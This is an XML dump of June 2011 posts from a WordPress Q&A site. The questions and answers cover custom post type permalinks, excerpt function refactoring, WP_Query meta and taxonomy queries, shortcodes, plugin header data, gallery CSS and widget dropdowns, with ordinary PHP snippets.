  <row Id="19910" PostTypeId="1" CreationDate="2011-06-13T20:14:09.310" Score="1" ViewCount="63" Body="&lt;p&gt;So what I want to do is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a forum style module that will have a custom post type &quot;forums&quot;.  It is a hierarchical post type, with up to three levels.  Using the forum metaphor the levels would be forum --&gt; topic --&gt; post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my single template single-forums.php to display a listing of all of the child &quot;posts&quot; whenever the forums post is of type topic.  I would like to build paging functionality into this using a variable called topic_page.  I would like topic_page to be part of the permalink structure that I see at the top of the page similar to the paging functionality you see for archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that the permalink will look something like &quot;mysite.com/forums/%forum-name%/%topic-name%/topic_page/1&quot; where wordpress would see this as mysite.com/forums/%forum-name%/%topic-name%?topic_page=1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to figure this out using things like add_rewrite_tag and the hook rewrite_rules_array, but have been unsuccessful so far.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6162" LastActivityDate="2011-06-13T20:14:09.310" Title="how to add permalink parameter to custom post type that is hierarchical" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;url-rewriting&gt;" FavoriteCount="1" />
  <row Id="19911" PostTypeId="1" AcceptedAnswerId="19922" CreationDate="2011-06-13T20:39:50.930" Score="1" ViewCount="118" Body="&lt;p&gt;This may be more of a php best practices question, but here goes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a custom excerpt trim function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_wp_trim_excerpt($text) { // Fakes an excerpt if needed&#xA;    global $post;&#xA;    if ( '' == $text ) {&#xA;        $text = get_the_content('');&#xA;        $text = apply_filters('the_content', $text);&#xA;        $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;        $text = strip_tags($text, '&amp;lt;p&amp;gt;');&#xA;        $text = preg_replace('@&amp;lt;script[^&amp;gt;]*?&amp;gt;.*?&amp;lt;/script&amp;gt;@si', '', $text);&#xA;        $excerpt_length = 100;&#xA;        $words = explode(' ', $text, $excerpt_length + 1);&#xA;        if (count($words)&amp;gt; $excerpt_length) {&#xA;            $dots = '&amp;amp;hellip;';&#xA;            array_pop($words);&#xA;            $text = implode(' ', $words).$dots.'&amp;lt;p class=&quot;moarplz&quot;&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;Read More &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p';&#xA;        }&#xA;        else&#xA;        {&#xA;            $text = get_the_content();&#xA;        }&#xA;    }&#xA;    return $text;&#xA;}&#xA;&#xA;remove_filter('get_the_excerpt', 'wp_trim_excerpt');&#xA;add_filter('get_the_excerpt', 'new_wp_trim_excerpt');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, for posts over a hundred words, a &quot;faked&quot; excerpt is produced of the first 100 words, with a &quot;Read More&quot; link. Posts having less than 100 words are outputted in their entirety. You can see this at work here: &lt;a href=&quot;http://www.mbird.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.mbird.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complicating this matter is &lt;strong&gt;1)&lt;/strong&gt; that an author can choose to override the excerpt per post. Also, &lt;strong&gt;2)&lt;/strong&gt; there is a function that tries to find an image that can serve as a post thumbnail from the post attachments if none is specified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these things act as flags, determining the layout of the post on the index page. For example, if a full post is output, it needs to have extra padding to avoid the image wrap CSS I have in place, and it shouldn't have a teaser thumbnail. If no teaser thumbnail can be found for a excerpt it needs to avoid the same. Etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in order to determine what the layout out wrapper should be, I end up reusing a lot of the &lt;code&gt;new_wp_trim_excerpt&lt;/code&gt; function in my page template to sniff if an excerpt or a full post will happen. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    while (have_posts ()) : the_post();&#xA;        global $excerpt_checkbox_mb; &#xA;        $exmeta = $excerpt_checkbox_mb-&amp;gt;the_meta(); //override excerpt?&#xA;        $text = get_the_content('');&#xA;        $text = apply_filters('the_content', $text);&#xA;        $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;        $text = strip_tags($text, '&amp;lt;p&amp;gt;');&#xA;        $text = preg_replace('@&amp;lt;script[^&amp;gt;]*?&amp;gt;.*?&amp;lt;/script&amp;gt;@si', '', $text);&#xA;        $excerpt_length = 100;&#xA;        $words = explode(' ', $text, $excerpt_length + 1);&#xA;        if (count($words) &amp;gt; $excerpt_length) {&#xA;            $word_count = true;&#xA;        } else {&#xA;            $word_count = false;&#xA;        }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I use that to determine if an image should be hunted for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        if (($exmeta['cb_single'] != &quot;yes&quot;) &amp;amp;&amp;amp; $word_count) { // we're printing an excerpt, get a teaser image!&#xA;            get_the_image(array(&#xA;                'meta_key' =&amp;gt; null,&#xA;                'image_class' =&amp;gt; 'thumb',&#xA;                'callback' =&amp;gt; 'find_image'&#xA;            ));&#xA;        }&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally what the wrapper should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $image = find_image(); ?&amp;gt;&#xA;        &amp;lt;!--if full post, add left padding to avoid image wrap--&amp;gt;&#xA;                    &amp;lt;?php if (($exmeta['cb_single'] == &quot;yes&quot;) || !$word_count) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;post-content&quot;&amp;gt;    &#xA;&amp;lt;?php the_content();&#xA;                    elseif ($image) : ?&amp;gt; // we found an image, apply css psuedo-col&#xA;                &amp;lt;div class=&quot;post-content post-psuedo-col&quot;&amp;gt;     &#xA;&amp;lt;?php the_excerpt();&#xA;                    else : ?&amp;gt; // no image, reduce padding&#xA;                            &amp;lt;div class=&quot;post-content&quot;&amp;gt;             &#xA;&amp;lt;?php the_excerpt();&#xA;                    endif; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, it seems bad to reuse so much of the &lt;code&gt;new_wp_trim_excerpt&lt;/code&gt; function to sniff, especially since I have to change &lt;code&gt;$excerpt_length&lt;/code&gt; in two places! But I can't really figure out an elegant way to re-factor. I was considering adding another function that both parts can call on, that would return array containing a bool regarding &lt;code&gt;count($words) &amp;gt; $excerpt_length&lt;/code&gt; and optionally the text itself, but that still seems clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've somehow managed to read all this, help!&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-13T23:53:15.497" Title="Custom excerpt function re-factoring" Tags="&lt;php&gt;&lt;functions&gt;&lt;template&gt;&lt;loop&gt;&lt;excerpt&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19912" PostTypeId="2" ParentId="19909" CreationDate="2011-06-13T20:49:29.870" Score="1" ViewCount="" Body="&lt;p&gt;your conditional breaks the concatenation of the strings (which is not in your code, anyway)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to re-write this section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function info($atts, $content = null) {        &#xA;extract(shortcode_atts(array(            &#xA;    &quot;name&quot; =&amp;gt; '',            &#xA;    &quot;image&quot; =&amp;gt; '',            &#xA;    &quot;address&quot; =&amp;gt; '',            &#xA;    &quot;phone&quot; =&amp;gt; '',            &#xA;    &quot;email&quot; =&amp;gt; '',            &#xA;    &quot;website&quot; =&amp;gt; '',            &#xA;    &quot;description&quot; =&amp;gt; '',            &#xA;    &quot;amenities&quot; =&amp;gt; ''        &#xA;    ), $atts)); &#xA;$output = '&amp;lt;span class=&quot;sort&quot;&amp;gt;'; &#xA;if($image) { $output .= '&amp;lt;img src=&quot;'.$image.'&quot; /&amp;gt;';}&#xA;$output .= '&amp;lt;span class=&quot;name&quot;&amp;gt;'.$name.'&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;details&quot;&amp;gt;';&#xA;if($phone) { $output .= $phone; } &#xA;if($address) { $output .= ' &amp;amp;bull; &amp;lt;a href=&quot;http://maps.google.com/?q='.$address.'&quot; target=&quot;_blank&quot;&amp;gt;'.$address.' &amp;lt;img src=&quot;' . get_bloginfo('template_directory') . '/_/images/mapmarker.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Map&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;'; } &#xA;if($email) { $output .= ' &amp;lt;a class=&quot;infomail&quot; href=&quot;mailto:'.$email.'&quot;&amp;gt;Send Email&amp;lt;/a&amp;gt;'; } &#xA;if($website) { $output .= ' &amp;lt;a class=&quot;infosite&quot; href=&quot;'.$website.'&quot;&amp;gt;Visit Website&amp;lt;/a&amp;gt;'; } &#xA;if($description) { $output .= '&amp;lt;p class=&quot;infodetails&quot;&amp;gt;'.$description.'&amp;lt;/p&amp;gt;'; } &#xA;if($amenities) { $output .= '&amp;lt;p class=&quot;amenities&quot;&amp;gt;'.$amenities.'&amp;lt;/p&amp;gt;'; } &#xA;$output .= '&amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt;'; &#xA;return $output;&#xA;}&#xA;&#xA;add_shortcode(&quot;info&quot;, &quot;info&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-13T20:49:29.870" CommentCount="1" />
  <row Id="19913" PostTypeId="1" AcceptedAnswerId="19918" CreationDate="2011-06-13T21:02:09.070" Score="1" ViewCount="130" Body="&lt;p&gt;I have a wp_query that works great but I can't have both a meta query and a tax_query in it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $event_query = new WP_Query(&#xA;        array( &#xA;          'post_type'  =&amp;gt; 'event',        // only query events&#xA;          'meta_key'    =&amp;gt; 'event-date',  // load up the event_date meta&#xA;          'orderby'     =&amp;gt; 'meta_value',&#xA;          'order'       =&amp;gt; 'asc',         // ascending, so earlier events first&#xA;          'posts_per_page' =&amp;gt; '-1',&#xA;          'meta_query'  =&amp;gt; array(&#xA;             array(         // restrict posts based on meta values&#xA;              'key'     =&amp;gt; 'event-date',  // which meta to query&#xA;              'value'   =&amp;gt; date(&quot;Y/m/d&quot;),  // value for comparison&#xA;              'compare' =&amp;gt; '&amp;gt;',          // method of comparison&#xA;              'type'    =&amp;gt; 'DATE'  )&#xA;             ),&#xA;          'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy'  =&amp;gt; 'event_category',&#xA;                'field'     =&amp;gt; 'slug',&#xA;                'terms'     =&amp;gt; $term_id,&#xA;                'operator'  =&amp;gt; 'IN')&#xA;&#xA;                ),&#xA;&#xA;           ) // end array&#xA;        ); // close WP_Query constructor call&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to find all the events in taxonomy $term_id and then make sure they are all in the future and order by ASC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-06-13T22:03:40.183" Title="How to create a wp_query that contains both meta_query and tax_query" Tags="&lt;custom-post-types&gt;&lt;meta-query&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19914" PostTypeId="2" ParentId="3014" CreationDate="2011-06-13T21:06:13.330" Score="0" ViewCount="" Body="&lt;p&gt;wp_nav_menu() exposes current-menu-ancestor class &lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T21:06:13.330" />
  <row Id="19915" PostTypeId="1" CreationDate="2011-06-13T21:23:06.417" Score="0" ViewCount="36" Body="&lt;p&gt;Trying to implement floating vertical toolbar in ArcGIS flex viewer 2.3.1&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2011-06-13T21:23:06.417" ClosedDate="2011-06-14T19:11:12.910" Title="Implement floating vertical toolbar ArcGIS flex viewer" Tags="&lt;geo-data&gt;" CommentCount="2" />
  <row Id="19916" PostTypeId="2" ParentId="19850" CreationDate="2011-06-13T21:36:27.857" Score="0" ViewCount="" Body="&lt;p&gt;You should only need a list of URL's selected from the Media Loader.  There are others out there, but I have a Theme Options Panel for your admin that is Settings API compliant.  It has an 'upload' option that uses the Media Loader to upload a file and fill a text field with the returned URL of that file. This is saved as an option with the Settings API. Perhaps you can get an idea from that. You could provide a pre-set amount of 'upload' options (5 URLS/images for example) or modify the code to handle it differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://diverge.blogdns.com/blog/wordpress-theme-options-panel-framework/&quot; rel=&quot;nofollow&quot;&gt;Theme Options Panel Framework&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6131" LastActivityDate="2011-06-13T21:36:27.857" CommentCount="3" />
  <row Id="19917" PostTypeId="1" CreationDate="2011-06-13T21:52:41.370" Score="3" ViewCount="62" Body="&lt;p&gt;You can see on this page: &lt;a href=&quot;http://www.middlegray.net/ceremonies/&quot; rel=&quot;nofollow&quot;&gt;http://www.middlegray.net/ceremonies/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the photos have a white box that is automatically applied to the pic. I want to take it off or make it a different color. Where would I look to change that?&lt;/p&gt;&#xA;" OwnerUserId="6165" LastActivityDate="2011-06-13T22:21:28.970" Title="How can I remove or change a border/outline on a picture when it is in a gallery page?" Tags="&lt;gallery&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19918" PostTypeId="2" ParentId="19913" CreationDate="2011-06-13T22:03:40.183" Score="1" ViewCount="" Body="&lt;p&gt;The query looks about right and I know that &lt;code&gt;meta_query&lt;/code&gt; and &lt;code&gt;tax_query&lt;/code&gt; work together just fine. the only thing i can think of is that you are query taxonomy by slug and passing the term id which are two different things, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'field'     =&amp;gt; 'slug',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'field'     =&amp;gt; 'id',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your tax_query.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-13T22:03:40.183" CommentCount="2" />
  <row Id="19919" PostTypeId="2" ParentId="19900" CreationDate="2011-06-13T22:09:58.777" Score="1" ViewCount="" Body="&lt;h3&gt;How do get the comment header data of a theme OR plugin...&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;... that holds a specific class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following shows how you can drop a class inside any plugin or theme and still be able to get any theme or plugin data from the comment header. This is useful for updating settings/db-options for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;don't&lt;/strong&gt; know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if it's a plugin, mu-plugin or a theme&lt;/li&gt;&#xA;&lt;li&gt;and how deeply nested your container/root theme or plugin folder is.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Works for mu-plugins too.&lt;/li&gt;&#xA;&lt;li&gt;Might not work if an additional theme directory was registered later (thanks to @toscho for the hint). &lt;/li&gt;&#xA;&lt;li&gt;Performance test for a theme shows 0.0042 sec. loading time on 1.000 runs.&lt;/li&gt;&#xA;&lt;li&gt;The following functions are meant to reside in a class.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Plugin root&#xA; * @return Full Path to plugin folder&#xA; */&#xA;public function set_root_path() &#xA;{&#xA;    $_path = trailingslashit( str_replace( basename( __FILE__ ), &quot;&quot;, plugin_basename( __FILE__ ) ) );&#xA;&#xA;    // Allow overriding the location&#xA;    $_path = apply_filters( __CLASS__.'_root', $_path );&#xA;&#xA;    return $this-&amp;gt;_path = $_path;&#xA;}&#xA;&#xA;&#xA;/**&#xA; * Gets the data of the base 'theme' / 'plugin' / 'wpmuplugin'&#xA; * Performance: average loading time on a local (not vanilla) install for 1.000 runs: 0.0042 sec.&#xA; * &#xA; * @param (mixed) $value&#xA; * @return (array) $value | Theme/Plugin comment header data OR false on failure | default: 'Version'&#xA; */&#xA;public function get_data( $value = 'Version' )&#xA;{&#xA;    // Class basename - String to Array&#xA;    $_path_data = explode( '/', $this-&amp;gt;_path );&#xA;    // Get rid of the last element, as it's only a trailing slash&#xA;    array_pop( $_path_data );&#xA;    // reverse for faster processing&#xA;    krsort( $_path_data );&#xA;&#xA;    // Themes basename&#xA;    $theme_roots = get_theme_roots();&#xA;    // In case some used register_theme_directory(); before&#xA;    // Might not work if an additional themes directory will be registered later&#xA;    // Thanks to @Thomas Scholz &amp;lt;http://toscho.de&amp;gt; for the hint&#xA;    if ( is_array( $theme_roots ) )&#xA;    {    &#xA;        foreach ( $_path_data as $_path_part )&#xA;        {&#xA;            foreach( $theme_roots as $root )&#xA;            {&#xA;                if ( in_array( $root, $_path_data ) )&#xA;                    $_theme_root = $root;&#xA;            }&#xA;        }&#xA;    }&#xA;    else &#xA;    {&#xA;        // Get rid of the leading slash&#xA;        $_theme_root = str_replace( '/', '', $theme_roots );&#xA;    }&#xA;&#xA;    // Plugins basename&#xA;    $_plugin_root = basename( WP_PLUGIN_DIR );&#xA;&#xA;&#xA;    # &amp;gt;&amp;gt;&amp;gt;&amp;gt; get file &amp;amp; load data&#xA;    $base_file = '';&#xA;    // Themes&#xA;    if ( in_array( $_theme_root, $_path_data ) )&#xA;    {&#xA;        foreach ( search_theme_directories() as $folder =&amp;gt; $data )&#xA;        {&#xA;            foreach ( $_path_data as $_path_part )&#xA;            {&#xA;                if ( $_path_part == $folder )&#xA;                    $base_file = trailingslashit( $data['theme_root'] ).$data['theme_file'];&#xA;            }&#xA;        }&#xA;&#xA;        $file_data = get_theme_data( $base_file );&#xA;    }&#xA;    // Plugins&#xA;    elseif( in_array( $_plugin_root, $_path_data ) )&#xA;    {&#xA;        $plugins = get_plugins();&#xA;        foreach ( $plugins as $plugin_file =&amp;gt; $plugin_info )&#xA;        {&#xA;            $data   = explode( '/', $plugin_file );&#xA;            $file   = $data[1];&#xA;            foreach ( $_path_data as $_path_part )&#xA;            {&#xA;                if ( $_path_part !== $file )&#xA;                    $base_file = WP_CONTENT_DIR.$_type.'/'.$data[0].'/'.$data[1];&#xA;            }&#xA;        }&#xA;&#xA;        $file_data = get_plugin_data( $base_file );&#xA;    }&#xA;    // WPMU Plugins&#xA;    else&#xA;    {&#xA;        // MU plugins basename - compatible for older MU too&#xA;        // Thanks (again) to @Thomas Scholz &amp;lt;http://toscho.de&amp;gt; for the hint that mu plugins really exists&#xA;        $mu_plugin_dir = ! version_compare( $GLOBALS['wp_version'], '3.0.0', '&amp;gt;=' ) ? MUPLUGINDIR : WPMU_PLUGIN_DIR;&#xA;        $_mu_plugin_root = basename( $mu_plugin_dir );&#xA;&#xA;        if ( ! in_array( $_mu_plugin_root, $_path_data ) )&#xA;            return false;&#xA;&#xA;        $mu_plugins = get_mu_plugins();&#xA;        foreach ( $mu_plugins as $mu_plugin_file =&amp;gt; $mu_plugin_info )&#xA;        {&#xA;            $data   = explode( '/', $mu_plugin_file );&#xA;            $file   = $data[1];&#xA;            foreach ( $_path_data as $_path_part )&#xA;            {&#xA;                if ( $_path_part !== $file )&#xA;                    $base_file = WP_CONTENT_DIR.$_type.'/'.$data[0].'/'.$data[1];&#xA;            }&#xA;        }&#xA;&#xA;        $file_data = get_plugin_data( $base_file );&#xA;    }&#xA;    # &amp;lt;&amp;lt;&amp;lt;&amp;lt; get file &amp;amp; load data&#xA;&#xA;&#xA;    // return&#xA;    if ( ! empty ( $file_data ) )&#xA;        return $file_data[ $value ];&#xA;&#xA;    // return false to determine that we couldn't load the comment header data&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Usage Example:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;get_data( 'Author' ); // The Plugin or Theme Author&#xA;echo $this-&amp;gt;get_data( 'Version' ); // The Plugin or Theme Version&#xA;echo $this-&amp;gt;get_data( 'Name' ); // The Plugin or Theme Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-14T10:42:09.247" LastActivityDate="2011-06-14T10:42:09.247" />
  <row Id="19920" PostTypeId="2" ParentId="19917" CreationDate="2011-06-13T22:21:28.970" Score="1" ViewCount="" Body="&lt;p&gt;add this to your css file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.attachment-thumbnail{border:medium none!important}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also check the preferences of the gallery to see if there is a way to disable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you post your themes functions.php file in an edit on your question. you may be able to filter it out since the theme does a rewrite of the gallery&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-13T22:21:28.970" />
  <row Id="19921" PostTypeId="2" ParentId="19907" CreationDate="2011-06-13T22:28:31.280" Score="0" ViewCount="" Body="&lt;p&gt;Interessting Q. Didn't find out much at a brief look, but here's a guess: &lt;code&gt;print_r( $GLOBALS['wp_registered_sidebars'] );&lt;/code&gt; or &lt;code&gt;print_r( $GLOBALS['sidebars'] );&lt;/code&gt; or &lt;code&gt;print_r( $GLOBALS['sidebars_widgets'] );&lt;/code&gt; ...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-13T22:28:31.280" CommentCount="0" />
  <row Id="19922" PostTypeId="2" ParentId="19911" CreationDate="2011-06-13T23:53:15.497" Score="1" ViewCount="" Body="&lt;p&gt;I'd simply set a flag as second input argument for the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_wp_trim_excerpt( $text, $case = 'plain' ) &#xA;{&#xA;    switch ( $case ) &#xA;    {&#xA;        default :&#xA;        case 'plain' :&#xA;            // do stuff - your function so far&#xA;            break;&#xA;&#xA;        case 'image' :&#xA;            break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Avoid names like &lt;code&gt;class=&quot;moarplz&quot;&lt;/code&gt;. It's hard to read for others and hard for yourself in a year.&lt;/li&gt;&#xA;&lt;li&gt;Never &lt;code&gt;count&lt;/code&gt; inside an &lt;code&gt;if/for/while/foreach/else/elseif&lt;/code&gt; statement - it's up to 5 times slower than counting it in the line before.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-13T23:53:15.497" CommentCount="1" />
  <row Id="19923" PostTypeId="1" AcceptedAnswerId="19925" CreationDate="2011-06-13T23:55:37.520" Score="1" ViewCount="47" Body="&lt;p&gt;Does Wordpress have the ability to use the currently defined template to serve up content in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a database of a bunch of custom content-- the name of an item, the price, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all requests for &lt;a href=&quot;http://myshop.com/buy/&quot; rel=&quot;nofollow&quot;&gt;http://myshop.com/buy/&lt;/a&gt;* to be redirected to the plugin (so that the plugin handles the content generation), where the * is an item number or some other parameter. Can I use the Wordpress template and display my custom content? I would be handling all of the HTML generation for inserting into the template...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best example I can find is the WP Ecommerce plugin here: &lt;a href=&quot;http://getshopped.org/&quot; rel=&quot;nofollow&quot;&gt;http://getshopped.org/&lt;/a&gt;. Basically, the plugin is handling the checkout page (/checkout in most cases, /icons/checkout on IconDock). How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="6167" LastActivityDate="2011-06-14T00:40:17.697" Title="Have Plugin Handle Specific URLs" Tags="&lt;plugins&gt;&lt;php&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19924" PostTypeId="2" ParentId="19923" CreationDate="2011-06-14T00:31:08.630" Score="2" ViewCount="" Body="&lt;p&gt;in short ... wordpress can be made to do just about anything ...not 100% sure but it sounds like you're looking for custom post types - check out this video &lt;a href=&quot;http://vimeo.com/10187055&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/10187055&lt;/a&gt; - ( it's actually a plugin that builds the custom post types for you but you can build them yourself with the code - you will probably need to do this but the plugin in the video allows you to play with them so you can see the capabilities - not too difficult just google &quot;custom post type&quot; and also wordpresss taxonomy )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw the wordpress irc on freenode can be helpful for this type of thing&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-14T00:31:08.630" CommentCount="3" />
  <row Id="19925" PostTypeId="2" ParentId="19923" CreationDate="2011-06-14T00:32:31.950" Score="2" ViewCount="" Body="&lt;p&gt;There are two different things happening here. I'll start with your second example, as that's easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most shopping carts, in your example WP-Ecommerce, create placeholder pages with a &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt; for things like the cart page and checkout page. All they're doing to handle that is creating a shortcode function and inserting it on a page, then outputting whatever they need to in the shortcode function. In this case the shortcode is static, and there isn't any other data being passed via the url. The actual product pages in WP-Ecommerce are just a WordPress custom post type with some extra meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're talking about, creating your own url structure via a plugin to pass data, involves writing your own rewrite rules via the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;WP_Rewrite class&lt;/a&gt; and inserting your own query vars.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-06-14T00:40:17.697" LastActivityDate="2011-06-14T00:40:17.697" CommentCount="1" />
  <row Id="19926" PostTypeId="1" CreationDate="2011-06-14T01:26:16.157" Score="1" ViewCount="49" Body="&lt;p&gt;I'm trying to put in a simple dropdown menu in my widget.  I copied one out of a previous widget and trying to substitute my own values into it.  The submenu shows, but when I click save, it saves only the first selection (design 1).  Actually, I echoed the value on the widget and all of the options displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would a simple widget drop down menu look like?&#xA;As for my code, I think I need to get that &quot;true&quot; out of there and replace it with Design#&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('fold_design'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Display style:'); ?&amp;gt;&amp;lt;/label&amp;gt; &#xA;        &amp;lt;select id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('fold_design'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('fold_design'); ?&amp;gt;&quot; class=&quot;widefat&quot; /&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design1', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design2', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design3', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design4', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 4&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design5', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 5&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design6', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 6&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option &amp;lt;?php selected( 'Design7', $instance['fold_design'], true ); ?&amp;gt;&amp;gt;Design 7&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5247" LastActivityDate="2011-08-25T13:34:37.403" Title="widget dropdown menu code" Tags="&lt;widgets&gt;&lt;dropdown&gt;" AnswerCount="1" />
